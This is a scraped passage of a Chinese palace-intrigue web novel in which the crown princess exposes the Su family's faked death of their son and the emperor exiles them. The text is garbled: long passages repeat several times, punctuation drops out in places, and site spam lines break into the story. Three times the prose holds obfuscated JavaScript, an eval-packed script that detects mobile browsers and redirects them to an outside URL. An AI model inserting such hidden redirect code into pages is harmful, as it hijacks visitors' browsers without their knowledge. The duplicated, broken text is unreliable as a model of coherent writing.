人群中不知谁开口说了一句:“苏家的家风真好啊大儿子跟小女儿在万寿节乱来小儿子**断指二儿子不识字苏侧妃曾将太子妃推下二楼……佩服佩服啊!” 苏家人被说得面红耳赤简直无所遁形。 苏灵音气得小腹隐隐作痛她吓出了眼泪也哭着求太医给自己看看。 一时之间苏家鸡飞狗跳。 哪还有半分方才盛气凌人的架势? 听到这些话皇上的眼里充满了鄙夷。 对苏家更嫌弃了。 云清婳瞥向身侧的裴墨染眼中的怨意散了几分。 狗男人原来真查出东西了。 不是说说而已。 裴墨染看向她眼神委屈但更多的却是求夸奖跟贱兮兮的得意。 就像在说:你男人厉害吧? 她眉眼间的戾气消散。 “吾儿从小贪玩就是不会写字如何?”苏将军的气势弱了一半“太子殿下总不能因为盛儿目不识丁就这么冤枉他让他死后变成无主孤魂吧?” 苏夫人捂着脸抽抽噎噎地哭起来“呜呜呜……对吾儿就是不爱做学问但那又如何?他不识字也是父母的心头肉!” 云家人被气得不轻。 “这不是耍不要脸吗?”一个云家的旁支公子涨红了脸。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “……苏夫人这才反应过来。 她惊慌不已,下意识求救地看向苏将军。 “两只手本宫都检查了,皆没有写字磨出的茧子。别跟本宫说,苏盛许久没碰过毛笔了!本宫在边关十年,舞文弄墨的次数甚少,但十二岁之前留下的茧子至今还在。裴墨染眼神一瞥,如有实质般刺到苏夫人身上。 苏夫人的腿都软了,扑通一声瘫跪了下去。 他步步紧逼,论证逻辑严密,咬死不放。 苏家人被怼得哑口无言。 云隽讽刺道:“不会吧?就算苏家是出了名的武将世家,也不能一点字都不学吧? 十皇子嘲讽,“不写字,那应该也不识字吧?滑天下之大稽,皇后的亲侄儿居然不识字? 人群中不知谁开口说了一句:“苏家的家风真好啊,大儿子跟小女儿在万寿节乱来,小儿子**断指,二儿子不识字,苏侧妃曾将太子妃推下二楼……佩服佩服啊! 苏家人被说得面红耳赤,简直无所遁形。 苏灵音气得小腹隐隐作痛,她吓出了眼泪,也哭着求太医给自己看看。 一时之间,苏家鸡飞狗跳。 哪还有半分方才盛气凌人的架势? 听到这些话,皇上的眼里充满了鄙夷。 对苏家更嫌弃了。 云清婳瞥向身侧的裴墨染,眼中的怨意散了几分。 狗男人原来真查出东西了。 不是说说而已。 裴墨染看向她,眼神委屈,但更多的却是求夸奖跟贱兮兮的得意。 就像在说:你男人厉害吧? 她眉眼间的戾气消散。 “吾儿从小贪玩,就是不会写字如何? 苏夫人捂着脸抽抽噎噎地哭起来,“呜呜呜……对,吾儿就是不爱做学问,但那又如何?他不识字也是父母的心头肉! 云家人被气得不轻。 “这不是耍不要脸吗?一个云家的旁支公子涨红了脸。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第301章 苏盛究竟死没死? 苏家小公子得意地剜了他们一眼,“我二哥不识字跟本案究竟有什么关系?太子不能为了给云褚开脱,就抓着这一点不放啊。” “你们非要本宫找来苏盛的先生对峙才肯罢休?”裴墨染沉声反问。 皇上精明的眸中也充满疑惑。 苏盛……真没死? 裴墨染胸有成竹,他恭敬地拱手,“还请父皇再给儿臣半日时间,让儿臣寻来苏盛的先生,这样就能证明苏盛假死!” 苏将军的眼珠子转了转,脸色渐渐平静。 皇上正要点头,云清婳便道:“陛下,不必找了。” “为何?”皇上蹙眉。 就差一步了,难道云清婳不想救云褚? 亦或是她还有后手? 云清婳双眼狡黠,她字字铿锵:“因为,苏盛**!” “什么?”皇上再次疑惑。 “这话是什么意思?一个说他**,一个说他没死?”监察院的官员不解地呢喃。 裴墨染也疑惑的看着云清婳。 安怀已经苏醒。 他坐在椅子上,缓缓睁眼,“太子跟太子妃究竟还要戏弄、欺凌我们到什么时候?你们夫妻俩,一个说盛儿假死,一个说盛儿**!你们把人命当什么了?” “殿下、太子妃,你们要替云褚求情,直说就好,不要拐弯抹角地扎老臣的心了!” 云清婳扭头,漠然看向苏家人,陈述着事实:“苏盛真的**!” “你胡说什么?”苏夫人咬牙切齿地怒吼。 但很快她就反应过来,连忙改口道:“臣妇的意思是,盛儿早就不在人世了,太子妃不要再提醒臣妇了!中年丧子,臣妇已经很煎熬了。” “我不是提醒,而是在陈述事实!”云清婳的背脊挺得笔直。 她语速很慢,每一个字都无比清晰。 众人面露疑云。 苏灵音的瞳孔紧缩,脸上露出惶恐。 苏夫人一脸茫然地看向苏将军,苏将军的眉头拧起。 “故弄玄虚!”苏家小公子低声冷嗤,“爹娘,不要被她唬住,她在诈咱们!” 苏家人低声道:“对!太子妃恐怕是在胡言乱语,想为云褚拖延时间。” “安大人、苏将军万 不能被她蒙骗了。” 皇上清了清嗓子登时御书房又恢复了安静落针可闻。 他正襟危坐 云清婳叩首“回禀陛下儿臣有罪太子作为本案的主审官儿臣身为太子妃不该过多插手云家与苏家的案子。” 皇上摆摆手大气地说:“无妨这是人之常情。” 嫁入皇室本不该偏私帮着娘家。 可众所周知云褚的冤屈再加上云清婳平日的品行名声是出了名的好教养了两位皇孙还为他挡过箭他自然愿意多包容她一点。 她见皇上不怪罪继续道:“儿臣起初并没想调查但儿臣的商队南下时在江南一带发现了苏二公子。” 此话一出众人发出惊呼。 “不会吧?真没死?” “居然还去了江南!” “苏家这不是金蝉脱壳李代桃僵就为了陷害云褚?” 安怀跟苏家人一脸惊愕而苏将军、苏夫人一家人的反应却慢了半拍。 “胡说!太子妃您也有孩子求您不要再胡说了!呜呜……”苏夫人悲戚地哭着。 苏将军也单手捂着眼睛哼哼唧唧地哭着:“太子妃我们究竟什么仇什么怨啊?你竟然这么造谣盛儿?一会儿说他活着一会儿说他**!您这是前言不搭后语啊。” 苏小公子冷嘁了一声“梦到哪句说哪句让人发笑!” 皇上捋着胡子他问道:“是啊太子妃照你的意思苏盛分明还活着。可你为什么说他**?” 云清婳叹了口气“陛下在江南时苏盛遇到了山匪被红缨枪捅入右胸口毙命!这件事在江南都传开了因为苏盛的心脏长在右边。儿臣商队的伙计便好心把他运了回来他的尸体如今就在宫外。” 苏将军、苏夫人的表情从不屑变得惊讶、凝重最后化作崩溃。 “不!不——” “你骗人你骗人……” “盛儿怎么会怎么会……” 苏夫人忽然尖叫眼珠子凸出眼泪决堤。 她的脸都涨红了浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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监察院的官员鄙夷道:“苏家人方才可一点都不惊讶,看来苏将军一家早就知道真相!他们就是在设局害云褚啊!” “为了党争,歹毒至极,其心可诛啊!” “方才苏家人非要重判云二公子,看来这是蓄谋已久啊!” 安怀哭了一会儿,猛然反应过来。 他冷冷瞪着苏夫人,“这是怎么回事?为何盛儿的尸体在这里?他不是早就下葬了吗?为何他的尸首保存完好,就像刚死不久?” “嘘……爹,您就别问了!”苏夫人惊骇不已,示意他小声。 苏家小公子也惊恐道:“是啊,别问了!” 安怀气得咬紧了后槽牙,怒火攻心,他再也支撑不住,身子泄力,瘫坐在地。 他居然被亲女儿给蒙骗了! 苏家拿他当枪使,把他耍得团团转,让他得罪陛下、得罪太子、得罪云家! 为了她一个女儿,他居然害得他的儿子们日后在朝堂上处处树敌,真不值啊! “你……”安怀噗的一声,吐出一口老血。 血染红了他的官袍。 “爹……”苏夫人着急地扑上前,想要扶他。 安怀猛地推开她,“陛下,此事老臣不管了,老臣不管了……是老臣多管闲事,是老臣黑白不分,陛下恕罪!” 皇上满意的颔首。 这个老匹夫,总算认怂了。 “安大人退下吧,年纪不小了,好好养身子为上策。”皇上摆摆手。 “多谢陛下体恤。”安怀颤颤巍巍,脚步虚浮地离开了御书房。 裴墨染的眼中迸发出光彩,欣赏地看着云清婳。 蛮蛮好厉害。 他只查到了一半。 而蛮蛮却掌握了至关重要的证据。 云清婳的眼神狡黠。 这一切多亏了她跟江家的商队以及段南天跟道上朋友的鼎力相助。 这才在一个月内找到了苏盛。 知道苏盛被找到的第一时间,她就拜托段南天杀了他! 不为别的! 苏家让云褚不好过,她就让苏家不好过! 苏家族 亲这才明白,他们被当枪使了。 苏将军一家子设局陷害云褚,利用他们这些亲戚的亲情,把他们当枪使。 “陛下恕罪,此事微臣并不知情,微臣告退!苏家众人整齐跪地。 皇上的唇似弯非弯,面上没有表情,却让人感到森然、冰冷,躯体生寒。 方才让他们以和为贵,放云褚一马,他们不答应。 现在想要全身而退? 没这么容易! 苏将军早就吓得快要虚脱。 他们来不及沉浸在儿子真**的伤痛中,遍体生寒,圣上的眼神如刀,简直要把他们凌迟。 苏将军瑟瑟发抖,“陛下,老臣也不知道为何盛儿在江南。 “……皇上倏而笑了。 云丞相瞪了他一眼,嘲讽道:“方才对云褚喊打喊杀,现在一句轻飘飘的不知道就想当作什么事都没发生?太子、大理寺、北镇抚司为你家操劳数月,结果却被你们戏弄!你可有把陛下放在眼里? 苏将军两股战战,“微臣真的不知道啊!不知是哪里出了纰漏。 皇上轻嗤,“真的不知?苏盛是你们亲自安葬的吧?倘若真不知道,棺材里的假尸体是谁放的? “……苏将军扑通一声跪倒在地。 苏小公子也浑身瑟缩。 “陛下恕罪,这全是不孝子的主意!老臣也是一时糊涂……求陛下看在苏盛自食恶果的份上,给苏家一条生路!苏将军使劲磕头。 皇上的眼神发狠。 苏家一帮狗东西,居然敢欺君! “欺君之罪?众爱卿说该当如何?皇上的尾音上扬,就像在评价天气好坏。 监察御史道:“苏家虽皇亲国戚,欺君罔上不必诛九族,也要严惩啊。 云家人纷纷跪下,“求陛下严惩苏家! 苏灵音忽地叫了一声,“啊……我的肚子好疼,皇嗣是不是保不住了…… 皇上的眼中划过了厌烦,“务必要保下皇嗣。 “陛下,苏侧妃本就清瘦,此时悲痛万分又惊慌失措,如此下去,恐怕不仅仅是动了胎气这么简单啊。赵太医拱手。 云清婳跟裴墨染对视。 苏灵音这是故意在用皇嗣威胁皇上,让皇上 放苏家一马啊。 皇上眼中的怒意熊熊燃烧。 他最恨被人威胁! 皇上阴恻恻道:“苏侧妃,若是护不住皇嗣就是你无能!朕要给你治罪! 顷刻间,苏灵音的眼泪被吓了出来,她颤声道:“是……是。 “死罪可免,活罪难逃。苏家欺君罔上,陷害云家,残害忠良,歹毒至极,但念在皇后的面上,免去皮肉之苦,苏家即日搬离京城,永世不得回京!皇上不容置喙。 苏将军的眼睛都憋红了。 如此一来,苏家不就彻底没落了? 皇后身后也将空无一人。 还不如狠狠打他一顿呢。 可他不敢再多言…… “多谢陛下。苏将军的声音颤抖。 “多谢陛下。苏夫人、苏小公子哭着叩首。 皇上瞥了苏小公子一眼,“苏家家风不正,苏家幼子对太子妃不敬,拖下去杖责三十,以儆效尤! 苏小公子狼狈地发出哭嚎,他双腿一抖,一股热流从裆部晕开。 御前侍卫嫌弃地将他拖了下去。 云清婳勾起玩味的笑。 “云爱卿,你受苦了。皇上安抚着云褚。 云褚感激道:“谢陛下垂怜,微臣不怕苦,但求无愧于心。 皇上赏识地看着他。 …… 离开御书房后。 云隽立即上前扶着云褚,云清婳也上前去,“二哥,你没事吧? “我好着呢。云褚瞥了一眼裴墨染,“虽然诏狱暗无天日,但我每日的吃食、补品金贵,多谢太子殿下。 裴墨染心中万分感激云褚替自己说话。 免得蛮蛮总是觉得他苛待了云褚。 他笑容可掬道:“都是一家人,见外了。 云丞相、云隽胆战心惊。 他们可不敢跟太子是一家人,还在皇宫呢,这么大逆不道的话,若是被皇上听见了还得了? “多谢殿下。云丞相、云隽恭敬地弓身行礼。 裴墨染示意他们平身,他握住云清婳手,“蛮蛮,你现在愿意理我了吧? “…… 裴墨染的嘴角上扬。 蛮蛮没有挣开他的手,就说明气消得差不多了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 放苏家一马啊。 皇上眼中的怒意熊熊燃烧。 他最恨被人威胁! 皇上阴恻恻道:“苏侧妃若是护不住皇嗣就是你无能!朕要给你治罪!” 顷刻间苏灵音的眼泪被吓了出来她颤声道:“是……是。” “死罪可免活罪难逃。苏家欺君罔上陷害云家残害忠良歹毒至极但念在皇后的面上免去皮肉之苦苏家即日搬离京城永世不得回京!”皇上不容置喙。 苏将军的眼睛都憋红了。 如此一来苏家不就彻底没落了? 皇后身后也将空无一人。 还不如狠狠打他一顿呢。 可他不敢再多言…… “多谢陛下。”苏将军的声音颤抖。 “多谢陛下。”苏夫人、苏小公子哭着叩首。 皇上瞥了苏小公子一眼“苏家家风不正苏家幼子对太子妃不敬拖下去杖责三十以儆效尤!” 苏小公子狼狈地发出哭嚎他双腿一抖一股热流从裆部晕开。 御前侍卫嫌弃地将他拖了下去。 云清婳勾起玩味的笑。 “云爱卿你受苦了。”皇上安抚着云褚。 云褚感激道:“谢陛下垂怜微臣不怕苦但求无愧于心。” 皇上赏识地看着他。 …… 离开御书房后。 云隽立即上前扶着云褚云清婳也上前去“二哥你没事吧?” “我好着呢。”云褚瞥了一眼裴墨染 裴墨染心中万分感激云褚替自己说话。 免得蛮蛮总是觉得他苛待了云褚。 他笑容可掬道:“都是一家人见外了。” 云丞相、云隽胆战心惊。 他们可不敢跟太子是一家人还在皇宫呢这么大逆不道的话若是被皇上听见了还得了? “多谢殿下。”云丞相、云隽恭敬地弓身行礼。 裴墨染示意他们平身他握住云清婳手“蛮蛮你现在愿意理我了吧?” “……”她噘着嘴不回应。 裴墨染的嘴角上扬。 蛮蛮没有挣开他的手就说明气消得差不多了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 放苏家一马啊。 皇上眼中的怒意熊熊燃烧。 他最恨被人威胁! 皇上阴恻恻道:“苏侧妃,若是护不住皇嗣就是你无能!朕要给你治罪!” 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御前侍卫嫌弃地将他拖了下去。 云清婳勾起玩味的笑。 “云爱卿你受苦了。”皇上安抚着云褚。 云褚感激道:“谢陛下垂怜微臣不怕苦但求无愧于心。” 皇上赏识地看着他。 …… 离开御书房后。 云隽立即上前扶着云褚云清婳也上前去“二哥你没事吧?” “我好着呢。”云褚瞥了一眼裴墨染“虽然诏狱暗无天日但我每日的吃食、补品金贵多谢太子殿下。” 裴墨染心中万分感激云褚替自己说话。 免得蛮蛮总是觉得他苛待了云褚。 他笑容可掬道:“都是一家人见外了。” 云丞相、云隽胆战心惊。 他们可不敢跟太子是一家人还在皇宫呢这么大逆不道的话若是被皇上听见了还得了? “多谢殿下。”云丞相、云隽恭敬地弓身行礼。 裴墨染示意他们平身他握住云清婳手“蛮蛮你现在愿意理我了吧?” “……”她噘着嘴不回应。 裴墨染的嘴角上扬。 蛮蛮没有挣开他的手就说明气消得差不多了。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 放苏家一马啊。 皇上眼中的怒意熊熊燃烧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225728|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 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皇上瞥了苏小公子一眼“苏家家风不正苏家幼子对太子妃不敬拖下去杖责三十以儆效尤!” 苏小公子狼狈地发出哭嚎他双腿一抖一股热流从裆部晕开。 御前侍卫嫌弃地将他拖了下去。 云清婳勾起玩味的笑。 “云爱卿你受苦了。”皇上安抚着云褚。 云褚感激道:“谢陛下垂怜微臣不怕苦但求无愧于心。” 皇上赏识地看着他。 …… 离开御书房后。 云隽立即上前扶着云褚云清婳也上前去“二哥你没事吧?” “我好着呢。”云褚瞥了一眼裴墨染“虽然诏狱暗无天日但我每日的吃食、补品金贵多谢太子殿下。” 裴墨染心中万分感激云褚替自己说话。 免得蛮蛮总是觉得他苛待了云褚。 他笑容可掬道:“都是一家人见外了。” 云丞相、云隽胆战心惊。 他们可不敢跟太子是一家人还在皇宫呢这么大逆不道的话若是被皇上听见了还得了? “多谢殿下。”云丞相、云隽恭敬地弓身行礼。 裴墨染示意他们平身他握住云清婳手“蛮蛮你现在愿意理我了吧?” “……”她噘着嘴不回应。 裴墨染的嘴角上扬。 蛮蛮没有挣开他的手就说明气消得差不多了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 放苏家一马啊。 皇上眼中的怒意熊熊燃烧。 他最恨被人威胁! 皇上阴恻恻道:“苏侧妃,若是护不住皇嗣就是你无能!朕要给你治罪!” 顷刻间,苏灵音的眼泪被吓了出来,她颤声道:“是……是。” “死罪可免,活罪难逃。苏家欺君罔上,陷害云家,残害忠良,歹毒至极,但念在皇后的面上,免去皮肉之苦,苏家即日搬离京城,永世不得回京!”皇上不容置喙。 苏将军的眼睛都憋红了。 如此一来,苏家不就彻底没落了? 皇后身后也将空无一人。 还不如狠狠打他一顿呢。 可他不敢再多言…… “多谢陛下。”苏将军的声音颤抖。 “多谢陛下。”苏夫人、苏小公子哭着叩首。 皇上瞥了苏小公子一眼,“苏家家风不正,苏家幼子对太子妃不敬,拖下去杖责三十,以儆效尤!” 苏小公子狼狈地发出哭嚎,他双腿一抖,一股热流从裆部晕开。 御前侍卫嫌弃地将他拖了下去。 云清婳勾起玩味的笑。 “云爱卿,你受苦了。”皇上安抚着云褚。 云褚感激道:“谢陛下垂怜,微臣不怕苦,但求无愧于心。” 皇上赏识地看着他。 …… 离开御书房后。 云隽立即上前扶着云褚,云清婳也上前去,“二哥,你没事吧?” “我好着呢。”云褚瞥了一眼裴墨染,“虽然诏狱暗无天日,但我每日的吃食、补品金贵,多谢太子殿下。” 裴墨染心中万分感激云褚替自己说话。 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苏将军的面部肌肉抽搐“什么意思?” 云褚啐了他一口“苏老狗赶紧滚我们云家也有丹书铁券!你再敢贱我们就拿着丹青铁券回去找陛下让陛下砍了你的头!” “对!你们方才是怎么对我儿子的我就怎么讨回来!”云丞相应和道。 苏将军闻言吓得拔腿就跑就好像后面有饿狼在追。 靴子都险些跑掉。 云家人在后面嗤嗤地笑了。 “还以为他们真有点东西!结果就这?” “假死害云褚现在好了自己儿子真**!” 裴墨染的眼中流露出赞赏眸光闪烁灿若星子。 云清婳注意到他的眼神鸡皮疙瘩起了一身瞥开了眼。 狗男人用这种眼神看她干嘛? 不远处 云清婳很想翻白眼。 裴墨染跟云清婳跟着云褚回府等府医确定云褚身体无大碍云清婳才肯放心回府。 …… 东宫。 裴墨染一回府万嬷嬷跟王显就火急火燎迎上前来。 “苏侧妃如何了?”他问。 王显气喘吁吁道:“赵太医救过来了还好只是动了胎气但苏侧妃不能再受刺激了。” 裴墨染长吁了一口气他的脸上浮现出诡异的神色似笑非笑道:“这便好。” “但赵太医交代了苏侧妃要静养万不可忧心伤怀。否则一点风吹草动恐怕孩子还是会有虞。”万嬷嬷忍不住提醒。 “本宫知道了。”他敷衍道。 云清婳的眼中闪过一抹讥诮。 …… 清心阁。 苏灵音躺在榻上眼泪不住地流“二哥我对不住你啊……” 巧慧轻拍着她的胸口“主子二公子是不会怪你的。二公子刚死不久他的魂魄一定尚在人间他定不忍看着您跟苏家一蹶不振。” 她故意往苏灵音的伤口上撒盐。 苏灵音哭得更伤心了简直悲痛欲绝。 巧慧在心里暗笑。 哭吧哭死你! 哭到流 产最好! “我一定要保住这个孩子,这是我翻盘的筹码!只要这个孩子出息,爹娘一定还能回京。”苏灵音哽咽地说着。 “对!虽然苏家被赶出京城,永世不得回京, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“夫君,这是云家的事,本不该让你掺和进来,你没义务管我的家人。但我总想着你是我的夫君,你不保护我,你不替我兜底,我还能求助谁呢?所以才会与你生气。”她垂下眼,冷静地说。 裴墨染的面色一沉,神色冷了下来,“蛮蛮,你这么说就让我难受了。什么叫我没义务管你的家人?你把我当外人不成? 你的家人便是我的家人!日后你倘若觉得我哪里做得不好,尽管发脾气,不要憋在心里。” 第304章 小寿星,过生日了 云清婳用手背擦了擦眼角并不存在的眼泪,“夫君,这次多谢你了。” “谢我?你又谢我?!我们二人第一天认识吗?你怎么这么生分?”裴墨染忽然炸了,他在她颈间报复性地咬了一口。 云清婳吃痛地倒吸了口气。 裴墨染继续道:“我知道,你是对我失望了,所以查到这么重要的线索都不愿告诉我,对我藏着掖着。” 果然,他们已经很熟悉对方了。 所以有时她的想法也逃不过裴墨染的眼睛。 与其遮遮掩掩,不如大方承认。 “谁让你欺负我?我是在赌一口气,我想证明不靠夫君,我也能救二哥。”她略带骄傲道。 裴墨染的眼中出现几分受伤的神色,“蛮蛮,不靠我,你自然能救二哥。你有多聪慧,我是知道的。这次多亏你找到了苏盛的尸体,否则我的证据根本不够证明苏盛在世。你生气也是应该的,毕竟我没有帮到你。” 她捧着他的脸,“我要的是夫君的态度!知道夫君是在乎我的,这就够了!夫君,日后有重要的事,你不许再瞒着我了,否则我也会瞒着你的。” “嗯……”裴墨染漫不经心地颔首。 但想到苏灵音的事情,他却不敢说出来。 他怕吓到蛮蛮,更怕蛮蛮觉得他歹毒。 裴墨染将她打横抱起,朝着床榻走去,云清婳的双脚凌空挣扎,“诶呀!大白天的!夫君,你耍流氓!” “你是我娘子,我不对你耍流氓,对旁人耍流氓?” 裴墨染将她丢到榻上,准备欺身压下。 云清婳并不打算继续僵持,借着这次契机和好算了。 因为她还得收拾皇后呢。 她褪去鞋袜,白嫩的脚踩在他的胸口,“夫君,日后我不会再隐忍了。” 裴墨染捉住她的纤细的脚踝,眼中的情欲燃烧,声音喑哑:“什么意思?” “今日后,苏家跟云家算是彻底撕破脸了,日后皇后再欺负我,我不愿再吃亏了。”她观察着裴墨染的神色,一字一顿地试探。 他并没有多大情绪波动,他颔首,“好,我晓得了。” “这是什么意思?”她对他平淡的反应很不满意。 裴墨染俯身压下,以吻封 缄。 “唔……”云清婳呜咽着**粉拳砸着他的背。 帐中暧昧氤氲温度节节攀升。 一场云雨后云清婳正欲起身沐浴男人的大掌再次捉住她的脚踝“跑什么?你冷落了我这么多日就想草草了事?” 云清婳的小身板一颤浑身乏力不悦地在他脸上虚虚踹了一脚。 裴墨染不恼反而笑道:“你净会欺负我!” “方才我的话你听清楚了吗?不许敷衍!”她撅着嘴目光灼灼地盯着他。 她要确定裴墨染对皇后的态度。 裴墨染点点头正色道:“我听见了我与皇后的母子情分早就尽了你想如何都好但是不能伤着自己。” 她一脸不信地哼了一声。 说得倒是好听 他无奈地看着她“你呀说了又不信总是想这么多。” 忽地裴墨染话锋一转“蛮蛮最近可缺什么?或者有什么想要的东西?” “嗯?”她蹙眉。 他轻眨眨眼“我就是随口问问你别多想。” 她的脑袋飞速转了转瞬间心下了然。 狗男人是想筹备她的生辰礼物。 她想要的当然是裴云澈、皇后的命啊! 云清婳摇摇头无欲无求般淡然地说:“二哥能平安归来我就很满足了。” 裴墨染的眼中闪过无奈“嗯……” …… 当日苏将军就举家搬出了京城。 苏夫人想要找娘家求助可安怀早已对她失望至极闭门不见。 她的哥哥们甚至还扬言要断绝关系。 皇后在御书房外下跪替兄求情可皇上毫不留情命人将她拖走了。 皇后几次三番召见裴墨染可裴墨染都找借口婉拒。 …… 半月后便到了云清婳的生辰。 清晨天蒙蒙亮云清婳还在酣睡裴墨染便将她抱了起来。 她吓得一激灵脾气上来了又娇又气地问:“干嘛啊?” “小寿星过生日了。”裴墨染轻声哄道。 云清婳阖着双眼含糊不清道:“再睡 一会儿。” 他哑然失笑强行给她穿好衣裙、鞋袜后将人抱下了榻。 云清婳不明白她过生辰裴墨染兴奋个什么劲儿? 裴墨染带着云清婳跟孩子去船舫上游湖。 孩子们还没坐过船他们好奇地看着一切在裴墨染的怀里东张西望。 云清婳倚靠在船舱内的贵妃榻上悠悠地吃着早茶。 晨曦的阳光射进窗棂将屋内分为一明一暗两部分。 秋日的阳光洒在云清婳脸上好似给她倾国倾城的容颜描上了金边。 飞霜端上一碟酸甜口的糕点“主子最近苏灵音格外安分就是皇后总想着见殿下但是殿下都没答应。” “皇后已经黔驴技穷了。但是坐以待毙可不像苏灵音的性子。今日是我的生辰这可是她下手的好时候。”她平静地分析。 “那该如何是好?”飞霜的眉心拧成了川字。 “苏灵音动手咱们也能动手啊。”云清婳眼波流转看向窗外。 裴墨染站在船边正把辞忧举高让她骑在他的脖子上。 他抓着的辞忧的小肉腿弯着腰 辞忧咯咯笑个不停“鱼鱼……” 承基在地上急得跳脚“爹爹宝宝也要!” 她的脸色一沉心好似都被吊了起来。 狗男人有病吧? 别把她辛辛苦苦生的孩子搞没了! 这可是她上位的筹码! 她匆忙小跑出去“裴墨染!你把辞忧放下来!” 裴墨染笑吟吟地转过身“辞忧想看鱼呢。” “若是孩子掉下去我就要了你的命。”她的小脸一拧愠怒不已。 她巴掌大的脸上精致小巧的五官皱起来黛眉一挤像是发威的奶猫。 裴墨染很想笑但是不敢于是他唯唯诺诺地将孩子放下来。 “爹爹抱抱。”承基抱着他的腿葡萄眼跟洗过一样水汪汪地看着他。 裴墨染嘁了一声“还抱?没听见你娘要要爹的命?” “打爹爹屁屁。”承基扯扯云清婳的裙摆机智地出主意。 辞忧学着皇上捋了捋下巴上不存在的胡子“斩了吧。” 裴墨染:??? 云清婳:??? 孝啊! 太孝了! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 一会儿。” 他哑然失笑,强行给她穿好衣裙、鞋袜后,将人抱下了榻。 云清婳不明白,她过生辰,裴墨染兴奋个什么劲儿? 裴墨染带着云清婳跟孩子去船舫上游湖。 孩子们还没坐过船,他们好奇地看着一切,在裴墨染的怀里东张西望。 云清婳倚靠在船舱内的贵妃榻上,悠悠地吃着早茶。 晨曦的阳光射进窗棂,将屋内分为一明一暗两部分。 秋日的阳光洒在云清婳脸上,好似给她倾国倾城的容颜描上了金边。 飞霜端上一碟酸甜口的糕点,“主子,最近苏灵音格外安分,就是皇后总想着见殿下,但是殿下都没答应。” “皇后已经黔驴技穷了。但是坐以待毙,可不像苏灵音的性子。今日是我的生辰,这可是她下手的好时候。”她平静地分析。 “那该如何是好?”飞霜的眉心拧成了川字。 “苏灵音动手,咱们也能动手啊。”云清婳眼波流转,看向窗外。 裴墨染站在船边,正把辞忧举高,让她骑在他的脖子上。 他抓着的辞忧的小肉腿,弯着腰,方便辞忧看着船下跳出水面的锦鲤。 辞忧咯咯笑个不停,“鱼鱼……” 承基在地上急得跳脚,“爹爹,宝宝也要!” 她的脸色一沉,心好似都被吊了起来。 狗男人,有病吧? 别把她辛辛苦苦生的孩子搞没了! 这可是她上位的筹码! 她匆忙小跑出去,“裴墨染!你把辞忧放下来!” 裴墨染笑吟吟地转过身,“辞忧想看鱼呢。” “若是孩子掉下去,我就要了你的命。”她的小脸一拧,愠怒不已。 她巴掌大的脸上,精致小巧的五官皱起来,黛眉一挤,像是发威的奶猫。 裴墨染很想笑,但是不敢,于是他唯唯诺诺地将孩子放下来。 “爹爹,抱抱。”承基抱着他的腿,葡萄眼跟洗过一样,水汪汪地看着他。 裴墨染嘁了一声,“还抱?没听见你娘要要爹的命?” “打爹爹屁屁。”承基扯扯云清婳的裙摆,机智地出主意。 辞忧学着皇上,捋了捋下巴上不存在的胡子,“斩了吧。” 裴墨染:??? 云清婳:??? 孝啊! 太孝了! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 一会儿。 他哑然失笑,强行给她穿好衣裙、鞋袜后,将人抱下了榻。 云清婳不明白,她过生辰,裴墨染兴奋个什么劲儿? 裴墨染带着云清婳跟孩子去船舫上游湖。 孩子们还没坐过船,他们好奇地看着一切,在裴墨染的怀里东张西望。 云清婳倚靠在船舱内的贵妃榻上,悠悠地吃着早茶。 晨曦的阳光射进窗棂,将屋内分为一明一暗两部分。 秋日的阳光洒在云清婳脸上,好似给她倾国倾城的容颜描上了金边。 飞霜端上一碟酸甜口的糕点,“主子,最近苏灵音格外安分,就是皇后总想着见殿下,但是殿下都没答应。 “皇后已经黔驴技穷了。但是坐以待毙,可不像苏灵音的性子。今日是我的生辰,这可是她下手的好时候。她平静地分析。 “那该如何是好?飞霜的眉心拧成了川字。 “苏灵音动手,咱们也能动手啊。云清婳眼波流转,看向窗外。 裴墨染站在船边,正把辞忧举高,让她骑在他的脖子上。 他抓着的辞忧的小肉腿,弯着腰,方便辞忧看着船下跳出水面的锦鲤。 辞忧咯咯笑个不停,“鱼鱼…… 承基在地上急得跳脚,“爹爹,宝宝也要! 她的脸色一沉,心好似都被吊了起来。 狗男人,有病吧? 别把她辛辛苦苦生的孩子搞没了! 这可是她上位的筹码! 她匆忙小跑出去,“裴墨染!你把辞忧放下来! 裴墨染笑吟吟地转过身,“辞忧想看鱼呢。 “若是孩子掉下去,我就要了你的命。 她巴掌大的脸上,精致小巧的五官皱起来,黛眉一挤,像是发威的奶猫。 裴墨染很想笑,但是不敢,于是他唯唯诺诺地将孩子放下来。 “爹爹,抱抱。承基抱着他的腿,葡萄眼跟洗过一样,水汪汪地看着他。 裴墨染嘁了一声,“还抱?没听见你娘要要爹的命? “打爹爹屁屁。承基扯扯云清婳的裙摆,机智地出主意。 辞忧学着皇上,捋了捋下巴上不存在的胡子,“斩了吧。 裴墨染:??? 